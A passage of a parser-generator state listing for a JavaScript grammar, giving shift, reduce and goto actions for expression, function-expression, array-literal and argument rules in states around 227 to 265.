NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 344 - -state 227 - - 105) MultiplicativeExpr : MultiplicativeExpr "%" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 345 - -state 228 - - 111) AdditiveExpr : AdditiveExpr "+" _ MultiplicativeExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 346 - -state 229 - - 112) AdditiveExpr : AdditiveExpr "-" _ MultiplicativeExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 347 - -state 230 - - 117) ShiftExpr : ShiftExpr LSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 348 - -state 231 - - 118) ShiftExpr : ShiftExpr RSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 349 - -state 232 - - 119) ShiftExpr : ShiftExpr URSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 350 - -state 233 - - 125) RelationalExpr : RelationalExpr "<" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 351 - -state 234 - - 126) RelationalExpr : RelationalExpr ">" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 352 - -state 235 - - 127) RelationalExpr : RelationalExpr LE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 353 - -state 236 - - 128) RelationalExpr : RelationalExpr GE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 354 - -state 237 - - 129) RelationalExpr : RelationalExpr INSTANCEOF _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 355 - -state 238 - - 130) RelationalExpr : RelationalExpr IN _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 356 - -state 239 - - 145) EqualityExpr : EqualityExpr EQEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 357 - -state 240 - - 146) EqualityExpr : EqualityExpr NE _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 358 - -state 241 - - 147) EqualityExpr : EqualityExpr STREQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 359 - -state 242 - - 148) EqualityExpr : EqualityExpr STRNEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 360 - -state 243 - - 160) BitwiseANDExpr : BitwiseANDExpr "&" _ EqualityExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 361 - -state 244 - - 166) BitwiseXORExpr : BitwiseXORExpr "^" _ BitwiseANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 362 - -state 245 - - 172) BitwiseORExpr : BitwiseORExpr "|" _ BitwiseXORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 363 - -state 246 - - 178) LogicalANDExpr : LogicalANDExpr AND _ BitwiseORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 364 - -state 247 - - 184) LogicalORExpr : LogicalORExpr OR _ LogicalANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 365 - -state 248 - - 190) ConditionalExpr : LogicalORExpr "?" _ AssignmentExpr ":" AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 366 - ConditionalExpr go to state 109 - -state 249 - - 287) FunctionExpr : FUNCTION "(" _ ")" "{" FunctionBody "}" - 288) FunctionExpr : FUNCTION "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 367 - - FormalParameterList go to state 368 - -state 250 - - 289) FunctionExpr : FUNCTION IDENT _ "(" ")" "{" FunctionBody "}" - 290) FunctionExpr : FUNCTION IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}" - - "(" shift, and go to state 370 - - -state 251 - - 45) ArrayLiteral : "[" ElisionOpt "]" _ - - $default reduce using rule 45 (ArrayLiteral) - - -state 252 - - 48) ElementList : ElisionOpt AssignmentExpr _ - - $default reduce using rule 48 (ElementList) - - -state 253 - - 46) ArrayLiteral : "[" ElementList "]" _ - - $default reduce using rule 46 (ArrayLiteral) - - -state 254 - - 47) ArrayLiteral : "[" ElementList "," _ ElisionOpt "]" - 49) ElementList : ElementList "," _ ElisionOpt AssignmentExpr - - "," shift, and go to state 115 - $default reduce using rule 50 (ElisionOpt) - - ElisionOpt go to state 371 - Elision go to state 114 - -state 255 - - 53) Elision : Elision "," _ - - $default reduce using rule 53 (Elision) - - -state 256 - - 60) MemberExprNoBF : MemberExprNoBF "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 372 - - -state 257 - - 61) MemberExprNoBF : MemberExprNoBF "." IDENT _ - - $default reduce using rule 61 (MemberExprNoBF) - - -state 258 - - 75) Arguments : "(" ")" _ - - $default reduce using rule 75 (Arguments) - - -state 259 - - 76) Arguments : "(" ArgumentList _ ")" - 78) ArgumentList : ArgumentList _ "," AssignmentExpr - - ")" shift, and go to state 373 - "," shift, and go to state 374 - - -state 260 - - 77) ArgumentList : AssignmentExpr _ - - $default reduce using rule 77 (ArgumentList) - - -state 261 - - 62) MemberExprNoBF : NEW MemberExpr Arguments _ - - $default reduce using rule 62 (MemberExprNoBF) - - -state 262 - - 73) CallExprNoBF : CallExprNoBF "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 375 - - -state 263 - - 74) CallExprNoBF : CallExprNoBF "." IDENT _ - - $default reduce using rule 74 (CallExprNoBF) - - -state 264 - - 200) AssignmentExprNoBF : LeftHandSideExprNoBF AssignmentOperator AssignmentExpr _ - - $default reduce using rule 200 (AssignmentExprNoBF) - - -state 265 - - 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF "*" UnaryExpr _ - - $default reduce using rule 107 